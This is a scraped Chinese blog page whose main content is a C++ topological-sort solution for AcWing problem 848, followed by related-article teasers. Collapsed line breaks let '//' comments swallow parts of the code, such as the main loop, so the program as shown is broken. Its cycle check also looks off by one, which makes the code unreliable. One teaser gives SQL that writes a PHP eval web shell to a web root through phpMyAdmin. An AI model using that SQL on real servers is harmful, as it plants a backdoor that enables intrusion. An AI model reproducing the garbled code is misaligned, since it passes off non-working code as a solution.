AcWing 848. 有向图的拓扑序列

#include<iostream>
#include<cmath>
#include<queue>
#include<cstring>
#include<cstdlib>
#include<algorithm>
using namespace std;
const int N=1e5+10;
int n,m,a,b;
int e[N],ne[N],h[N],idx;
int d[N],top[N],cnt=1;//top是拓扑排序的序列,cnt代表top中有多少元素
void add(int a,int b)
{e[idx]=b,ne[idx]=h[a],h[a]=idx++;
}
bool topsort()
{queue<int> q;int t;for(int i=1;i<=n;i++)if(d[i]==0) q.push(i);//将所有入度为0的点都加入到队列之中while(q.size()){t=q.front();//每次取出队头top[cnt]=t;//加入到拓扑排序之中cnt++;//拓扑排序中的元素加1q.pop();for(int i=h[t];i!=-1;i=ne[i])//遍历t点的出边{int j=e[i];d[j]--;//入度减少if(d[j]==0) q.push(j);//如果j的入度为0,加入到队列之中}}if(cnt<n) return 0;else return 1;
}
int main()
{cin.tie(0);cout.tie(0);ios::sync_with_stdio(false);memset(h,-1,sizeof h);//邻接表一开始没有装入任何数据,下标就是都是从-1开始的cin>>n>>m;while(m--){cin>>a>>b;add(a,b);d[b]++;//a到b b的入度++}if(topsort()==0) cout<<"-1"<<endl;else{for(int i=1;i<=n;i++)cout<<top[i]<<" ";cout<<endl;}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748387.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux学习笔记:什么是文件描述符

什么是文件描述符 C语言的文件接口文件的系统调用什么是文件描述符,文件描述符为什么是int类型?为什么新打开的文件的文件描述符不是从0开始? 文件描述符 fd (file descriptor) C语言的文件接口 当时学习C语言的时候,学习了文件接口 具体可以查看之前的文章: 链接:C语言的文…

flask库

文章目录 flask库1. 基本使用2. 路由路径和路由参数3. 请求跳转和请求参数4. 模板渲染1. 模板变量2. 过滤器3. 测试器 5. 钩子函数与响应对象 flask库 flask是python编写的轻量级框架&#xff0c;提供Werkzeug&#xff08;WSGI工具集&#xff09;和jinjia2&#xff08;渲染模板…

【基于PSINS】误差计算函数

输入真值 (参考值)、对比量、待比较值,输出误差的最大值、平均值、标准差的函数 程序源码 function [err] = EV_error_output(out_flag,avp_flag,avp,varargin) % draw_flag:以字符串的形式输入绘图的数据,eg:["EKF","UKF"] % avp:基准 % avp_:…

【PyTorch】基础学习:在Pycharm等IDE中打印或查看Pytorch版本信息

【PyTorch】基础学习&#xff1a;在Pycharm等IDE中打印或查看Pytorch版本信息 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1…

机器硬件命令

一、查看机器核数 有以下几种方法 1、lscpu命令 lscpu命令可以显示关于CPU的信息&#xff0c;包括核数、线程数等。在终端中输入以下命令即可查看CPU核数&#xff1a;该命令会输出CPU每个物理插槽的核数。 lscpu | grep "Core(s) per socket" | awk {print $NF} …

PHPadmin写shell的方法

一、常规导入 shell 的操作创建数据表导出 shell CREATE TABLE mysql.shadow9 (content TEXT NOT NULL ); INSERT INTO mysql.shadow9 (content ) VALUES (‘<?php eval($_POST[pass]);?>’); SELECT content FROM shadow9 INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.…

C++中实现String类

String类实现 概述示例开发环境代码运行结果 注意 概述 本文主要记录自己实现一个String类中的部分功能。 示例 开发环境 Windows下Visual Studio 2019。 代码 MyString.h #pragma once #include <iostream>class MyString{ public:MyString();MyString(char *p);…

github登录时解决2FA问题

使用Edge浏览器下载插件 https://microsoftedge.microsoft.com/addons/detail/authenticator-2fa-client/ocglkepbibnalbgmbachknglpdipeoio 下载后弹框会显示是否添加&#xff0c;添加。如下&#xff1a; Chrome下 https://chrome.google.com/webstore/detail/authenticator…

数据结构维度的索引及其应用场景

B树索引 B树索引是MySQL中广泛采用的数据结构&#xff0c;它将所有实际数据存储在叶子节点上&#xff0c;形成一个有序链表结构。B树索引的查询复杂度为O(logn)&#xff0c;非常适合执行范围查询操作&#xff0c;因其索引结构能高效地对区间内的数据进行遍历。 B树索引特点&a…

ipv6【H3C笔记】

ipv6地址 一&#xff0c;配置 int g0/0 ipv6 address auto 【r1】 dis ipv6 int g0/0 #查看自动获取到的IP地址 二&#xff0c;检查 在另一台路由器【r2】上做相同操作 【R2】ping ipv6 -i g0/0 r1的ipv6地址 # 对于自动获取到ipv6地址&#xff0c…

景联文科技:提供通用多模态数据,助力AI多模态领域实现飞跃式发展

回顾2023年&#xff0c;以ChatGPT为代表的通用人工智能大模型在全球范围内掀起了新一轮人工智能产业发展浪潮&#xff0c;我国人工智能大模型市场呈现百“模”争鸣、日新月异的迅猛发展态势。 根据大模型之家、钛媒体数据&#xff0c;2023年中国大模型市场规模达到147亿人民币&…

wsl ubuntu 安装的正确方式

目录 wsl ubuntu 安装的正确方式: 将wsl2设置为默认版本: 1、打开powershell

Elasticsearch:从 Java High Level Rest Client 切换到新的 Java API Client

作者&#xff1a;David Pilato 我经常在讨论中看到与 Java API 客户端使用相关的问题。 为此&#xff0c;我在 2019 年启动了一个 GitHub 存储库&#xff0c;以提供一些实际有效的代码示例并回答社区提出的问题。 从那时起&#xff0c;高级 Rest 客户端 (High Level Rest Clie…

vizro,一个有趣的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个有趣的 Python 库 - vizro。 Github地址&#xff1a;https://github.com/mckinsey/vizro 在当今数据驱动的世界中&#xff0c;数据可视化扮演着至关重要的角色。它不仅可以…

Python 3 教程(6)

Python3 字符串 字符串是 Python 中最常用的数据类型。我们可以使用引号( 或 " )来创建字符串。 创建字符串很简单,只要为变量分配一个值即可。例如: var1 =

JavaScript PAT乙级题解 1036 跟奥巴马一起编程

美国总统奥巴马不仅呼吁所有人都学习编程&#xff0c;甚至以身作则编写代码&#xff0c;成为美国历史上首位编写计算机代码的总统。2014 年底&#xff0c;为庆祝“计算机科学教育周”正式启动&#xff0c;奥巴马编写了很简单的计算机代码&#xff1a;在屏幕上画一个正方形。现在…

西门子PLC常用底层逻辑块分享_电动蝶阀

文章目录 前言一、功能概述二、电动蝶阀程序编写1.创建自定义数据类型2.创建FB功能块“电动蝶阀”3.编写程序 前言 本文分享一个自己编写的电动蝶阀控制逻辑块。 一、功能概述 手动状态、自动状态、机旁状态、强制状态、检修状态自由切换&#xff1b;具有开阀超时、关阀超时报…

c语言-输入包含空格的字符串

1、scanf无法接收空格 char str[10]; scanf(“%s”,str);2、gets可以接收空格&#xff0c;c11已弃用&#xff0c;不建议使用 char str[5]; gets(str);3、char *p 字符串长度动态变化 scanf 无法接收空格 char str[100]{0}; char *pstr; //或者 char *pNULL; pstr; scanf(&q…

状态机高阶讲解-06

1069 00:45:36,160 --> 00:45:37,660 那下一个用途 1070 00:45:39,010 --> 00:45:43,830 就是为分割系统提供一些参考的证据了 1071 00:45:47,230 --> 00:45:49,470 现在很多那个 1072 00:45:49,880 --> 00:45:51,770 流行有微服务架构 1073 00:45:51,770 --&g…

MATLAB/SIMULINK流水账

01.模块大小的一致性 当模型建完以后&#xff0c;模型大小比较散乱&#xff0c;可以利用该功能快速整理模块的大小 例如&#xff1a;如下5个constant模块&#xff0c;大小不一 若想把所有的模块都调整至跟第3个模块一样的大小 需要先把5个模块全部选取起来&#xff0c;另外再…